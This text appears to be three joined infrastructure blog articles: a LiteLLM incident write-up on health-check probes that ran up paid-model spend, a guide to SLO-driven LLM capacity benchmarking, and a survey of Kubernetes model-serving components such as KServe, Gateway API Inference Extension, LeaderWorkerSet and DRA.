Updated: 2026-08-23

We run LiteLLM as an internal gateway in front of two kinds of models: local vLLM deployments and paid external models. At the time of the incident, the proxy was running LiteLLM 1.82.x with four replicas, Redis for shared state, and background model health checks enabled.

The relevant part of the configuration looked like this:

general_settings:
  background_health_checks: true
  use_shared_health_check: true
  health_check_interval: 30
  health_check_concurrency: 4

The problem showed up in the external provider's usage view. Over roughly one to two weeks, a key reserved for LiteLLM health checks accumulated 63,011 successful requests, 9.0 million tokens, and $372.59 in spend. One deep-research model accounted for $295.40. Similar spend appeared in other environments, so this was not a one-off request or a single-model anomaly.

What was not causing the spend

Our Kubernetes probes were configured like this:

startupProbe:
  httpGet:
    path: /health/liveliness
    port: 4000

livenessProbe:
  httpGet:
    path: /health/liveliness
    port: 4000

readinessProbe:
  httpGet:
    path: /health/readiness
    port: 4000

These probes were not generating model traffic. LiteLLM documents /health/liveliness and /health/readiness as lightweight proxy probes that do not make LLM calls. Liveness only checks that the process is up. Readiness checks whether the worker can accept traffic and, when a database is configured, returns 503 if the database is unreachable.

We also had use_shared_health_check: true. With Redis coordination working, LiteLLM uses a distributed lock and cached results so that multiple proxy pods do not all perform the same model checks independently.

The paid traffic came from LiteLLM's model health checks. In our configuration, background checks were enabled for both local and external deployments.

Root cause

A LiteLLM model health check is a real model request, not just an HTTP connectivity check.

For a deployment with model_info.mode: chat, LiteLLM tests the /chat/completions path. In LiteLLM v1.82.0, a non-wildcard route defaulted to one output token unless health_check_max_tokens was set explicitly. In LiteLLM 1.96.2, the default is 16, with additional model-specific and global overrides. In both versions, the provider processes the prompt and generated tokens, so a paid upstream can charge for the request according to the selected model's pricing. The one-output-token limit in v1.82.0 did not bound other billable work performed by a research model, which explains how these small probes could still accumulate substantial usage.

The exact request volume needs one qualification. health_check_interval controls how often the background loop runs, but with shared health checks enabled it is not necessarily the same as the upstream model-call interval.

Both the incident-era and current implementations cache shared health-check results in Redis. The default shared-cache TTL is 300 seconds, so a background loop running every 30 seconds can reuse a cached result instead of calling every model on every iteration. The effective upstream request rate therefore depends on both the loop interval and whether shared coordination is actually working.

The incident-era implementation in LiteLLM v1.82.0 had another important detail. If a pod could not acquire the shared Redis lock, it waited only two seconds for the lock holder to publish cached results. If no cache was available after that wait, the pod fell back to running the model health checks locally. Redis could therefore be available and the shared-health-check feature enabled, yet slow health-check cycles could still cause several proxy pods to issue overlapping paid probes.

We did not have enough evidence to prove that this fallback path accounted for every one of the 63,011 requests, but it is a plausible contributor in a multi-pod deployment and makes use_shared_health_check: true insufficient as the only cost-control measure.

LiteLLM has since changed this logic. In the current implementation, a pod that misses the lock polls for cached results for up to the lock TTL instead of falling back after a fixed two-second wait. This is one reason the article distinguishes the v1.82.x incident from the current configuration.

Without shared caching, a 30-second model-check interval would be roughly:

2 checks/minute x 60 minutes x 24 hours = 2,880 checks/day
2,880 x 30 days ≈ 86,400 checks/month per deployment

That is an upper-bound calculation for a setup that effectively executes every scheduled probe upstream. It is not the expected request count when shared health-check caching is working correctly.

health_check_concurrency: 4 does not lower the number of model checks. It only bounds how many health-check requests LiteLLM runs concurrently.

This is the distinction that matters:

What we changed

We still wanted proactive checks for local models. Those deployments are part of the infrastructure we operate, and LiteLLM can use their health state to avoid routing new requests to an unhealthy deployment. For paid external models, the same probe policy had a direct dollar cost and much less operational value in our setup.

Current LiteLLM uses global enablement with per-deployment opt-out. The equivalent configuration in LiteLLM 1.96.2 keeps background checks enabled:

general_settings:
  background_health_checks: true
  use_shared_health_check: true

  health_check_interval: 30
  health_check_staleness_threshold: 90
  health_check_concurrency: 4
  enable_health_check_routing: true
  health_check_ignore_transient_errors: true

  health_check_skip_disabled_background_models: true

Local deployments remain eligible for background checks by default:

model_list:
  - model_name: internal-model
    litellm_params:
      model: hosted_vllm/internal-model
      api_base: http://internal-vllm:8000/v1
    model_info:
      mode: chat

For paid external deployments, we set disable_background_health_check in model_info:

model_list:
  - model_name: external-model
    litellm_params:
      model: "<provider>/<model>"
      api_key: os.environ/EXTERNAL_PROVIDER_API_KEY
    model_info:
      mode: chat
      disable_background_health_check: true

disable_background_health_check: true excludes that deployment from the background loop. The default is false, so local deployments do not need an explicit enable flag.

health_check_skip_disabled_background_models: true extends the opt-out to on-demand /health and shared health checks. Without it, a deployment excluded from the background loop can still be probed by an on-demand model health check. This setting is part of the current configuration and was not available in LiteLLM v1.82.0-stable.

This flag only controls health-check participation; it does not disable the deployment for normal user traffic.

What I would configure from the start

For an in-house setup that mixes self-hosted and paid models:

• Use /health/liveliness and /health/readiness for Kubernetes probes.
• Keep model health checks for deployments where proactive routing state is useful and the probe cost is acceptable.
• Opt paid external deployments out of background checks unless continuous active probing is a deliberate requirement.
• If an external provider needs synthetic monitoring, run it at a deliberate interval with an explicit cost budget.
• Use shared health checks for a multi-pod LiteLLM deployment, but do not rely on them as the only cost-control measure. Monitor Redis coordination and understand the fallback behavior of the LiteLLM version you run.
• Check both health_check_interval and DEFAULT_SHARED_HEALTH_CHECK_TTL when estimating probe frequency. They control different parts of the mechanism.
• Measure actual provider-side health-check traffic instead of deriving spend from the interval alone. The provider's usage view was what exposed this incident.

For shared checks, LiteLLM exposes:

GET /health/shared-status

It reports Redis availability, lock state, cache age, and the pod that produced the cached result. This is useful for verifying that cross-pod coordination is actually working.

Sources and further reading

A recurring capacity-planning request for an internal LLM platform is:

We have selected a model. Do we have enough capacity, and how many GPUs would we need for N users?

The question is missing the information needed to answer it.

The model and its serving configuration determine the minimum resources required to start one replica. They don't tell us how many requests that replica can handle while meeting the product's latency and reliability requirements. That depends on prompt and response lengths, arrival rate, concurrency, cache reuse, calls per user task, traffic bursts, and competition with other workloads.

This guide describes how product and platform teams can replace capacity guesses with measurements. It is not a GPU calculator.

Three different capacity questions

Capacity planning combines three separate questions.

The first question is mostly about memory and execution topology. The second requires a performance experiment. The third includes production demand and reliability requirements.

This distinction also explains why an unallocated GPU isn't immediately available as serving capacity. Before the platform can handle traffic, it must place a replica, load the model, allocate its KV cache, warm the runtime, pass readiness checks, and attach it to the request path. Depending on the model size and configuration, this can take minutes. If the startup time is longer than the product can handle during a busy period, reactive autoscaling won't replace warm reserve.

Why user count is a weak capacity signal

Two requests to the same model can have very different costs:

• a short question with a short answer
• a summarization request with tens of thousands of input tokens
• an agent step containing tool schemas and a long conversation history
• a request that reuses a cached prefix
• a long-running generation that keeps KV-cache blocks active
• a user task that triggers ten LLM calls, several tool calls, retries, and context compaction

Modern inference engines such as vLLM combine requests through continuous batching. They schedule prompt processing (prefill) and token generation (decode) while managing a queue and KV cache. Prefill is usually more compute-intensive, while decode is often constrained by memory bandwidth and the number of active sequences. Changes in the input-length distribution can increase time to first token without changing the output throughput. Changes in concurrency or output length can make token streaming take longer and fill up the KV cache.

This is why the following two products may have the same number of users but require very different capacity:

• a chat assistant used a few times per day
• a coding agent that performs many LLM calls for every user task

Start with workload classes

Before collecting aggregate metrics, describe the operations the product performs:

Do not build the workload only from successful demos. Include long tasks, tool failures, retries, user cancellations, large contexts, and sessions that require compaction. These cases often determine tail latency and production capacity.

Model selection and capacity planning are related, but they shouldn't be combined into one step. External APIs can help compare model quality quickly, but their throughput and latency do not predict a self-hosted deployment. The final candidates should be benchmarked against the target runtime and hardware.

Define SLOs before measuring capacity

"Comfortable performance for 500 users" is not a measurable requirement. Define service-level objectives before testing.

For streaming LLM applications, the main latency signals are:

• time to first token (TTFT): how long the user waits before generation begins
• inter-token latency (ITL): the gaps between streamed tokens and the pauses a user can notice
• time per output token (TPOT): request-level decode time normalized by the number of generated tokens
• end-to-end request latency: how long the complete LLM call takes
• queue time: how long the request waits before execution
• task or agent-run duration: how long the user waits for the complete workflow

Reliability signals matter as well:

• error and timeout rate
• cancellation rate
• model availability
• SLO attainment percentage
• behavior during overload, rollout, and infrastructure failure

The product team should choose target values based on user experience and business requirements. The platform team can then test whether a model configuration meets them.

Raw throughput is not the right optimization target. A server may complete more requests per second while allowing TTFT or TPOT to become unacceptable. A better concept is goodput: the request rate the system can sustain while meeting the defined latency objectives. The DistServe paper uses this framing for LLM serving, and current vLLM benchmarking tools can report SLO-constrained goodput.

Observe the application and the inference platform

Proper capacity planning needs two complementary views.

Application view

For every LLM call, capture at least:

For an agentic application, one LLM call is too small a unit. The main unit should be the run: one execution of a user task. A run should record the number of LLM calls, tool calls, retries, and compactions. It should also record total token usage, maximum context length, models used, duration, final status, and a quality signal.

A tracing system like Langfuse can show LLM calls, retrieval, tools, and application logic as nested observations. Its data model also lets you group traces into sessions. Preserve the causal structure of the task regardless of the tracing system.

Inference-platform view

The inference layer usually exposes:

• running and waiting requests
• queue-time distribution
• prompt and generated token throughput
• TTFT, ITL, request-level TPOT, and end-to-end latency
• KV-cache usage, reuse, eviction, and preemption
• request failures and runtime errors
• GPU memory, utilization, throttling, and hardware health

Measure offered load at the gateway and completed throughput at the model server. During overload, completed throughput may remain constant while the queue and incoming demand continue to grow. Finished requests alone can make a saturated system appear stable.

For example, vLLM production metrics include queue depth, queue time, prompt and generation lengths, TTFT, inter-token latency, prefill and decode time, and KV-cache signals.

The application explains what workload was created. The inference platform explains how the serving system handled it. Without both views, it is difficult to distinguish between an overloaded model server, unexpectedly large contexts, excessive calls per agent run, slow tools, retries, or contention with another tenant.

Store high-cardinality identifiers in traces or logs, not Prometheus labels. Pseudonymize user and business identifiers.

Preserve workload shape, not only averages

Averages can hide the cases that cause queues and SLO violations. At minimum, analyze:

• requests per second and per minute
• concurrent LLM calls
• active user or agent runs
• input and output tokens over time
• p50, p95, and p99 input length
• p50, p95, and p99 output length
• p95 and p99 total context length
• LLM calls and tokens per run
• cache-hit and shared-prefix behavior
• retry and cancellation rates
• traffic by time of day
• peak-to-average ratio
• expected growth
• model mix

Percentiles are useful for dashboards, but independent percentiles cannot reconstruct a workload. Input length, output length, arrival time, scenario, and cache behavior are correlated. Retain sanitized request metadata or a replayable trace so the benchmark preserves these relationships.

Arrival patterns matter too. A closed-loop test, in which each virtual user sends a new request only after the previous one completes, reduces offered load when the server slows down. It can hide overload. For online serving, prefer an open-loop test that sends requests according to a controlled arrival rate and burstiness. vLLM's serving benchmark supports request-rate, burstiness, warm-up, detailed per-request output, and timed-trace replay. MLPerf's server scenario follows the same general principle by generating independent request arrivals and measuring the maximum rate that stays within a tail-latency constraint.

A defensible benchmarking process

Use the following loop for a new model or a material workload change.

flowchart LR
    accTitle: The LLM capacity-planning loop
    accDescr: Product scenarios produce application traces. Sanitized traces are replayed against a pinned model configuration. The SLO boundary determines the initial replica count, which is then validated in production and updated with new telemetry.

    Scenarios["Product scenarios"]
    Telemetry["Application telemetry"]
    Replay["Sanitized workload replay"]
    Benchmark["Single-replica benchmark"]
    Boundary["SLO-constrained capacity"]
    Plan["Replica and reserve plan"]
    Production["Production validation"]

    Scenarios --> Telemetry
    Telemetry --> Replay
    Replay --> Benchmark
    Benchmark --> Boundary
    Boundary --> Plan
    Plan --> Production
    Production --> Telemetry

Figure 1. Capacity planning is a feedback loop, not a one-time calculation.

1. Pin the complete serving configuration

Record:

• model checkpoint and revision
• tokenizer and revision
• precision or quantization
• maximum context length
• tensor, pipeline, expert, and data parallelism
• chat template and reasoning settings
• speculative decoding configuration
• inference runtime and version
• scheduler, batching, and KV-cache settings
• GPU type, count, interconnect, CPU, memory, and software stack

Changing any of these can affect memory usage, TTFT, TPOT, throughput, or quality. Rebenchmark after a material change.

2. Use the target hardware

Run a warm replica on the same hardware and topology as production. A benchmark on a different GPU, interconnect, runtime version, or parallelism plan can support comparisons, but not final sizing.

3. Replay representative work

Use real, sanitized request metadata when available. Preserve the mix of workload classes, input and output lengths, arrival times, generation settings, cache reuse, and retries. Send warm-up requests before collecting results.

Tools such as vLLM Bench and NVIDIA AIPerf expose the latency and throughput metrics needed for this experiment.

4. Increase offered load

Increase the request rate incrementally. GPU utilization is not the stopping criterion. Continue until the system violates one or more constraints:

• TTFT or TPOT crosses its target
• queue time grows without recovering
• SLO attainment falls below the target
• errors, timeouts, or cancellations rise
• KV-cache pressure causes preemption or instability

The highest stable rate before these failures is the sustainable capacity of that replica for that workload and SLO.

5. Repeat and record variance

Run each important point more than once. Record the benchmark duration, warm-up plan, random seed or trace, and complete configuration. Short tests may miss burst behavior, cache churn, thermal throttling, and long-tail requests.

6. Validate the full deployment

A single-replica result is an input to the plan. Run the test again with the planned number of replicas and the actual load-balancing strategy. Scaling can be non-linear due to cache affinity, routing, networking, distributed execution, and uneven request placement.

Test failure and maintenance scenarios: replica loss, GPU node loss, rollout, rollback, and reduced capacity in another failure domain.

Turning the benchmark into a capacity plan

For one stable workload mix, calculate:

sustainable_load_per_replica =
    highest offered load at which the required SLO attainment is preserved

base_replicas =
    ceil(projected_peak_offered_load / sustainable_load_per_replica)

reserve_replicas =
    capacity needed for failures, rollouts, and near-term growth

planned_replicas =
    base_replicas + reserve_replicas

This is shorthand, not a universal scalar formula. Request rate, concurrency, input and output lengths, cache reuse, and model mix must match the benchmark. If the product has very different workload classes, you should benchmark the production mix or establish separate capacity envelopes and admission rules.

The reserve should cover the actual failure topology. Losing one pod can remove a complete multi-GPU replica. Losing one node can remove several replicas or an entire model shard. During a rollout, old and new versions may need to coexist. The required reserve depends on placement, model topology, recovery time, and the product's permitted degradation mode.

Capacity on a shared platform

A multi-tenant inference platform introduces another variable: other workloads.

Products using the same replicas compete for:

• scheduler and gateway queues
• batching slots
• KV cache
• GPU compute and memory bandwidth
• generated-token throughput

Without per-tenant attribution, resource consumption cannot be measured reliably. Every project should use a stable project identity and correlation IDs from the gateway to the inference server.

There are three common operating models:

Maximum utilization and independent tenant SLOs conflict. Shared platforms need admission control, rate and concurrency limits, tenant quotas, priorities, and an overload policy. Otherwise, one product can consume the queue and KV cache needed by every other tenant.

Define the degradation policy explicitly. Options include rejecting excess requests with a retryable error, restricting maximum context or output length, reducing agent parallelism, routing to a smaller model, pausing batch traffic, or accepting a lower SLO for a defined workload class.

A practical sizing request

Product teams can use this template when requesting capacity from the platform team.

1. Product and scenarios

• product or service name
• owner and technical contact
• environments
• workload classes
• interactive, asynchronous, batch, or agentic execution
• expected launch date and growth stages

2. Model candidates

• exact model identifiers and revisions
• tokenizer revision
• quality-evaluation results
• context-length requirement
• reasoning, multimodal, tool-calling, or structured-output requirements
• acceptable fallback models

3. Workload profile

• expected active users or jobs
• requests or agent runs per time window
• LLM calls per run
• input tokens p50, p95, and p99
• output tokens p50, p95, and p99
• context length p50, p95, and p99
• concurrent LLM calls
• peak-to-average ratio and burst duration
• expected growth over the next 6-12 months
• representative trace or dataset

4. SLO

• TTFT target and attainment percentage
• ITL target and attainment percentage
• request-level TPOT target and attainment percentage
• end-to-end LLM latency
• agent-run or job duration
• queue-time limit
• error and timeout rate
• overload behavior

5. Reliability and isolation

• shared, dedicated, or reserved capacity
• required availability
• acceptable capacity after a replica, GPU, node, or failure-domain loss
• rollout and rollback requirements
• maximum recovery time
• allowed degradation modes

6. Observability and data handling

• tracing system
• token-usage collection
• correlation IDs
• prompt and application versioning
• pseudonymization
• retention and access rules
• confirmation that sensitive prompts, outputs, tool arguments, source code, and documents are not recorded by default

If important data is missing, the platform team can only give a preliminary estimate with explicit assumptions and a wide range.

Common sizing mistakes

«We will have 400 users.»

This describes the audience, not the load. Specify active-user behavior, scenario frequency, LLM calls per task, token distributions, concurrency, and peaks.

«The model fits on eight GPUs, so one node is enough.»

Eight GPUs might be the minimum for one replica. That does not indicate how much SLO-compliant traffic the replica can handle or whether the product can survive a node failure.

«We tested with 30 users and multiplied the result.»

LLM inference is non-linear because of batching, queueing, cache pressure, and the distribution of request lengths. Control the request rate and replay the workload instead.

«Average latency is fine.»

The average hides the long tail. Capacity is usually limited by p95 or p99 latency, queue time, errors, and SLO attainment. For a low-volume workload, use a measurement window long enough to make tail percentiles meaningful.

«The external API was fast.»

External APIs can help evaluate model quality. Their hardware, batching, routing, and load are unknown, so their performance does not predict a local deployment.

«GPU utilization is below 100%, so capacity is available.»

GPU utilization alone does not show queueing, KV-cache pressure, memory headroom, TTFT, TPOT, or the impact of another long request.

«Our tracing tool will tell us how many GPUs to buy.»

Application tracing explains the workload. Pair it with benchmarks and inference-server metrics to determine GPU capacity.

«We will log everything and investigate later.»

Capacity planning rarely requires storing raw prompts, responses, documents, source code, tool arguments, or terminal output. Excess telemetry can create security and privacy risks without improving the calculation.

Further reading

In October 2024, Yuan Tang published AI/ML Innovation in the Kubernetes Ecosystem. The article described three important developments: Kubeflow Model Registry, KServe ModelCars, and TrustyAI. It also pointed toward multi-node serving, inference-aware gateways, speculative decoding, low-rank adaptation (LoRA) adapters, and APIs designed for generative AI.

Since then, Kubernetes model serving has developed into a stack of specialized control-plane and data-plane components.

Kubernetes now has better primitives for distributing model files and allocating accelerators. Gateway API has gained inference-aware extensions. KServe has introduced a separate API for generative inference. LeaderWorkerSet has become a building block for multi-node model servers, while llm-d coordinates routing and distributed inference optimizations around engines such as vLLM.

These capabilities also introduce more controllers, APIs, compatibility constraints, and failure modes.

From isolated features to an inference stack

The 2024 view centered on several individual improvements. By 2026, those features fit into a more explicit architecture:

Not every layer is mature. Inference now has dedicated components for its distributed-systems requirements.

flowchart TD
    accTitle: The layers of a Kubernetes model-serving stack
    accDescr: Requests pass from a client through an AI gateway and Gateway API route to an inference-aware endpoint picker, model-serving workloads, and the underlying GPU, network, cache, and storage infrastructure.

    Client["Client"]

    Gateway["`**AI or API gateway**

    • Authentication
    • Quotas and token limits
    • Payload policy and guardrails`"]

    Route["Gateway API route"]

    InferencePool["`**InferencePool + endpoint picker**

    • Queue-aware routing
    • Prefix/KV-cache affinity
    • Model or adapter availability`"]

    Workloads["`**Model-serving workloads**

    • Single-node replicas
    • Multi-node replicas
    • Separate prefill and decode pools`"]

    Infrastructure["`**Infrastructure**

    GPU, network, local model cache,
    and remote storage`"]

    Client --> Gateway
    Gateway --> Route
    Route --> InferencePool
    InferencePool --> Workloads
    Workloads --> Infrastructure

Figure 1. A production inference request crosses several independently operated layers.

KServe can manage much of this control plane. Gateway API Inference Extension defines the routing integration. LeaderWorkerSet represents groups of pods that must operate together. llm-d provides distributed inference and routing components. Engines such as vLLM or SGLang still execute the model.

Each component has a separate role despite some overlap.

1. OCI image volumes simplify model delivery

The 2024 article explained why KServe introduced ModelCars: a model could be packaged into an OCI image and exposed to the model server through a passive sidecar. This reused container-registry distribution and node caching instead of downloading weights from object storage for every replica.

At that time, Kubernetes could pull an image but could not directly mount its filesystem as a volume. Kubernetes 1.31 introduced the image volume source as alpha. Kubernetes 1.33 promoted it to beta, and Kubernetes 1.36 made OCI artifact and image volumes stable.

A pod can now mount read-only content directly from an OCI registry:

apiVersion: v1
kind: Pod
metadata:
  name: model-server
spec:
  containers:
    - name: server
      image: example.com/model-server:v1
      volumeMounts:
        - name: model
          mountPath: /models/llama
          readOnly: true
  volumes:
    - name: model
      image:
        reference: registry.example.com/models/llama:2026-07
        pullPolicy: IfNotPresent

The sidecar pattern is no longer required merely because Kubernetes lacks an OCI-backed volume type. ModelCars can still be useful for KServe integration, compatibility with older clusters, and established tooling, but native image volumes provide a cleaner upstream primitive.

OCI packaging does not eliminate cold starts.

A 100–500 GB model still has to reach the node. Startup behavior still depends on:

• registry throughput and rate limits
• layer structure and decompression cost
• container-runtime support
• node disk capacity and eviction policy
• whether the model is already cached
• how many nodes pull the same model at once

KServe also maintains a Local Model Cache. It can pre-download model artifacts to local NVMe and let several inference pods reuse the warmed copy.

Native OCI volumes improve packaging and delivery semantics. Local caching addresses placement and startup latency. They solve related but different problems.

2. Inference-aware routing gets a standard API

A Kubernetes Service assumes that its ready endpoints are roughly interchangeable. That assumption breaks down for LLM serving.

Two healthy replicas can have very different costs for the same request:

• one replica may already have the prompt prefix in its key-value (KV) cache
• one may have a long queue
• one may be close to KV-cache exhaustion
• only one may have the requested LoRA adapter loaded
• replicas may use different accelerators or quantizations
• a long prompt may be better assigned to a different pool than a decode-heavy request

Round-robin routing ignores all of this.

The same problem space described as "LLM Instance Gateway" in the 2024 article is now addressed by the Gateway API Inference Extension. By July 2026, the project marks itself generally available and defines InferencePool as a specialized backend abstraction for model servers. A gateway delegates endpoint choice to an inference router or endpoint picker, which can use live metrics and model-server capabilities.

The request path becomes:

flowchart LR
    accTitle: The inference-aware request path
    accDescr: An HTTPRoute sends a request to an InferencePool, which consults an endpoint picker before selecting a model-server pod.

    HTTPRoute["HTTPRoute"]
    InferencePool["InferencePool"]
    EndpointPicker["Endpoint picker"]
    ModelServer["Selected model-server pod"]

    HTTPRoute --> InferencePool
    InferencePool --> EndpointPicker
    EndpointPicker --> ModelServer

Figure 2. Gateway API delegates model-server selection to an inference-aware endpoint picker.

The components have separate responsibilities:

• Gateway API handles traffic attachment and routing integration.
• InferencePool identifies a pool of inference endpoints.
• The endpoint picker decides which endpoint is best for the request.
• The model server exposes metrics and capabilities used by the picker.

The reference project does not define every scheduling policy. Its documentation points users toward components such as the llm-d router. Some of the advanced features that were previously developed in the Inference Extension repository have now moved to the llm-d repositories. These features include endpoint selection and model rewrite logic. The extension still owns the Pool API and conformance work.

The integration API defines how a gateway connects to an inference pool without requiring every platform to use the same scheduling algorithm. The GA label does not imply that every endpoint-selection policy or gateway implementation is equally mature.

3. KServe separates predictive and generative serving

KServe's original InferenceService API was designed for a broad range of predictive models and serving runtimes. It still fits many workloads well.

LLM serving, however, needs concepts that do not map cleanly to a conventional stateless model endpoint:

• tensor, data, and expert parallelism
• groups of pods forming one logical replica
• prefill/decode disaggregation
• KV-cache-aware routing
• LoRA adapter selection
• long-lived streaming responses
• autoscaling signals based on queues, tokens, and cache pressure

KServe 0.17 presented LLMInferenceService as its API for production generative AI serving. KServe 0.18 added multi-node inference without requiring Ray, LeaderWorkerSet-based autoscaling, OpenAI Responses API routing, namespace-scoped model-cache work, and llm-d 0.6 integration.

In KServe 0.18, example manifests still use the serving.kserve.io/v1alpha2 API. Schema evolution therefore belongs in the upgrade plan.

The distinction is now explicit:

• use InferenceService for predictive serving and simpler serving patterns
• use LLMInferenceService when you need orchestration designed for generative AI

A simplified resource can describe the model, replicas, runtime, and managed routing:

apiVersion: serving.kserve.io/v1alpha2
kind: LLMInferenceService
metadata:
  name: my-llm
spec:
  model:
    uri: hf://organization/model
    name: organization--model
  replicas: 3
  template:
    containers:
      - name: main
        image: vllm/vllm-openai:<tested-version>
        resources:
          limits:
            nvidia.com/gpu: "1"
  router:
    gateway:
      managed: {}
    route:
      httpRoute: {}
    scheduler:
      pool: {}

For multi-node execution, adding a worker template causes KServe to create a LeaderWorkerSet. Adding a prefill template selects a disaggregated topology.

The complete setup may require Kubernetes 1.32 or newer, Gateway API, an inference-extension-compatible gateway, Gateway API Inference Extension, LeaderWorkerSet for multi-node workloads, KEDA for some autoscaling configurations, cert-manager, KServe, an inference router, and a supported model engine.

Before adopting it, validate:

1. the exact compatibility matrix
2. upgrade order and rollback behavior
3. CRD conversion and deletion behavior
4. which component owns each metric and status condition
5. failure handling when the router, gateway, or one worker group is unavailable

LLMInferenceService reduces the amount of custom platform code you need to write. It does not remove the need to operate the resulting distributed system.

4. LeaderWorkerSet makes multi-node inference declarative

Some models do not fit on one node. Others technically fit but need several nodes to reach the required throughput. A normal Deployment is a poor representation of this topology because several pods may jointly form one model replica and must start, stop, and recover as a group.

LeaderWorkerSet provides an API for deploying a group of pods as a unit of replication. It targets multi-host AI/ML workloads where a model is sharded across devices and nodes.

KServe can use LeaderWorkerSet for:

• multi-node tensor parallelism
• distributed data parallel replicas
• expert parallelism for mixture-of-experts models
• coordinated lifecycle and autoscaling of worker groups

llm-d builds a higher-level distributed inference system around engines such as vLLM. Its current architecture includes prefix-cache-aware routing, prefill/decode disaggregation, distributed KV-cache capabilities, multi-node execution, and workload-aware autoscaling. The project entered the CNCF Sandbox in March 2026.

Prefill/decode disaggregation

LLM inference has two phases with different resource profiles:

• Prefill processes the input prompt. It is often compute-heavy, especially for long contexts.
• Decode generates tokens iteratively. It is commonly limited by memory bandwidth and KV-cache access.

A disaggregated architecture runs these phases in different pools and scales them independently:

flowchart LR
    accTitle: Disaggregated prefill and decode
    accDescr: A request is processed by a prefill worker, its KV state is transferred to a decode worker, and the response is streamed to the client.

    Request["Request"]
    Prefill["Prefill worker"]
    KVTransfer["Transfer KV state"]
    Decode["Decode worker"]
    Response["Streamed response"]

    Request --> Prefill
    Prefill --> KVTransfer
    KVTransfer --> Decode
    Decode --> Response

Figure 3. Disaggregation introduces an explicit KV-state transfer between prefill and decode.

This can reduce interference between long prefills and active decodes and let each phase use a different replica count or hardware shape.

But it also adds a KV-transfer path before the first token. The result depends heavily on network bandwidth, latency, topology, transfer libraries, and the distribution of input and output lengths. On a bandwidth-constrained or high-latency inter-node network, disaggregation can move the bottleneck rather than remove it.

Use disaggregation when measurements show that it improves the target workload.

5. DRA improves accelerator allocation—but depends on drivers

For years, most Kubernetes GPU workloads have requested extended resources exposed by Device Plugins:

resources:
  limits:
    nvidia.com/gpu: "8"

This works, but it expresses little about the requested devices. It does not naturally represent properties such as GPU model, memory size, interconnect topology, sharing mode, or a reusable claim.

Dynamic Resource Allocation provides a richer model based on resources such as DeviceClass, ResourceClaim, and ResourceClaimTemplate. The core DRA APIs graduated to stable in Kubernetes 1.34. Kubernetes 1.36 continued work on device health, partitionable devices, consumable capacity, and additional drivers.

DRA is Kubernetes's upstream direction for allocating specialized hardware, but a stable API does not make every accelerator stack ready for production.

You still need to check:

• whether your vendor provides a supported DRA driver
• which Kubernetes and driver versions are compatible
• how Multi-Instance GPU (MIG), time slicing, or other partitioning modes are represented
• whether device health reaches the controllers that perform recovery
• how upgrades coexist with existing Device Plugin workloads
• whether your managed Kubernetes provider exposes the required features

For many current clusters, Device Plugins remain the production default. DRA is useful when its richer selection and sharing semantics solve a concrete placement problem.

6. Workload-aware scheduling arrives in alpha

Distributed inference may require several pods and devices to become available together. Scheduling them one at a time can leave partially allocated workloads holding scarce GPUs while waiting for the rest of the group.

Kubernetes 1.35 introduced native workload-aware scheduling work, including gang-scheduling foundations. Kubernetes 1.36 expanded it with Workload and PodGroup APIs and atomic scheduling of related pod groups.

The feature is alpha.

It moves group scheduling closer to the upstream scheduler and Job controller and may eventually replace some external scheduling layers. Do not replace an existing production scheduler or queueing system without extensive testing.

LeaderWorkerSet and workload-aware scheduling also solve different concerns:

• LeaderWorkerSet describes and manages a replicated group of cooperating pods.
• Workload-aware scheduling determines how related pods receive resources together.

A platform may eventually use both.

7. Kubeflow Hub expands model discovery and governance

The Model Registry described in 2024 has expanded into Kubeflow Hub, which combines:

• Model Registry: metadata, versions, artifacts, lifecycle status, and governance
• Model Catalog: read-only discovery across configured external catalogs

The catalog can federate metadata from sources such as Hugging Face. The registry can integrate with deployment workflows and KServe storage initialization.

Kubeflow Hub is primarily a metadata and discovery system. Its architecture documentation explicitly describes the registry as a passive repository rather than a Kubernetes control plane. The catalog does not store model weights.

As of July 2026, the registry is still offered as an opt-in alpha component in Kubeflow Community Distribution 1.9 and newer, and its REST API remains versioned as v1alpha3.

Treat it as an early lifecycle component, not as a dependency for every inference request.

Keep large weight distribution in OCI registries, object storage, or a dedicated model-cache layer. Keep approval, lineage, versions, and deployment metadata in the registry.

8. AI policy moves toward gateways

TrustyAI has continued beyond its early explainability focus, with tools for metrics, evaluation, bias and drift analysis, and language-model testing. It remains a pluggable part of the wider lifecycle rather than the central serving control plane.

A newer development is the formation of the Kubernetes AI Gateway Working Group. Its scope includes common patterns such as:

• token-based rate limiting
• fine-grained access control
• payload inspection
• routing, caching, and guardrail hooks
• secure access to external model providers
• regional policy and failover

Model-serving engines schedule and execute inference. A gateway can apply tenant policy consistently to self-hosted and external providers.

The working group is new. Its proposals are not stable APIs with broad implementation support.

What I would deploy today

There is no single "Kubernetes AI stack." I would choose the smallest architecture that can handle the workload.

Case 1: One model, one or a few replicas

Start with:

• a tested model-server image, such as vLLM, SGLang, or TensorRT-LLM
• a Deployment, StatefulSet, or a basic KServe InferenceService
• a standard Service and Gateway API route
• model files from object storage, an OCI image volume, or a pre-warmed node cache
• Prometheus metrics at the gateway, engine, GPU, and node layers

Do not install an inference-aware router until replicas are sufficiently busy for routing quality to matter.

Case 2: A shared production LLM service

Add:

• multiple replicas with an explicit latency and throughput SLO
• InferencePool and a production endpoint picker when queue or cache affinity matters
• KServe LLMInferenceService when its lifecycle automation is worth the dependencies
• request priorities, admission control, quotas, and maximum context/output limits
• autoscaling based on queueing, prompt length, output length, concurrency, and request mix—not GPU utilization alone

Keep the model server and routing policy independently observable. A healthy gateway does not prove that the engine is healthy, and a healthy engine does not prove that clients receive timely streamed tokens.

Case 3: Models that require several nodes

Add LeaderWorkerSet only when one logical replica spans multiple pods or nodes.

Before production, test:

• startup and restart of the whole worker group
• one worker or node failing during generation
• collective-communication failures
• rack and topology placement
• network saturation
• rolling updates when old and new model copies cannot fit simultaneously
• whether failed replicas release all GPUs promptly

Treat network bandwidth and topology as capacity constraints.

Case 4: Large-scale or heterogeneous inference

Evaluate DRA when you need richer accelerator selection, sharing, or health semantics and your vendor's driver is ready. Consider llm-d when prefix affinity, prefill/decode disaggregation, or distributed serving produces a measurable improvement over simpler routing.

Do not adopt every available CRD. Every controller adds:

• reconciliation behavior
• status you must monitor
• upgrade compatibility
• RBAC and security surface
• another place where desired and actual state can diverge

What is still not solved

• Predictable cold starts: OCI volumes and local caches improve delivery, but very large models still require substantial disk, network, and initialization time. Autoscaling cannot create warm GPU capacity instantly.
• Safe autoscaling: Inference demand is measured in prompts, tokens, context lengths, and active sequences, not only requests per second. Replica startup may take many minutes, and scaling down can interrupt streams or destroy useful cache state.
• Portable accelerator management: DRA provides a stable upstream API, but production behavior still depends on vendor drivers, managed-platform support, partitioning features, and integration with the existing device stack.
